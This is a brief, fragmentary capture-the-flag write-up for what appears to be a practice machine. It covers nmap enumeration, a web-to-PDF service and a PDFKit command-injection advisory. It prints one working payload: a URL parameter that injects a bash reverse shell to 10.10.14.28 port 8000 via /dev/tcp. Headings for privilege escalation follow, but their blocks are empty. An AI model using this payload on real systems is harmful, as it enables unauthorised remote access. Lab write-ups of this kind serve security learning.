
Initial Enumeration
nmap
sql
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 11:44 IST |
Web
Trying to webpage to pdf we get
Trying to get for local file we get
Hosting a page and then trying to load we get the content as PDF
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
So using the payload we can get a shell
plaintext
1 | http://localhost/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.28/8000 0>&1"`'} |
Privillege Escalation
After getting shell as ruby
we can see
More Escalation
Checking sudo -l
yml
1 |
|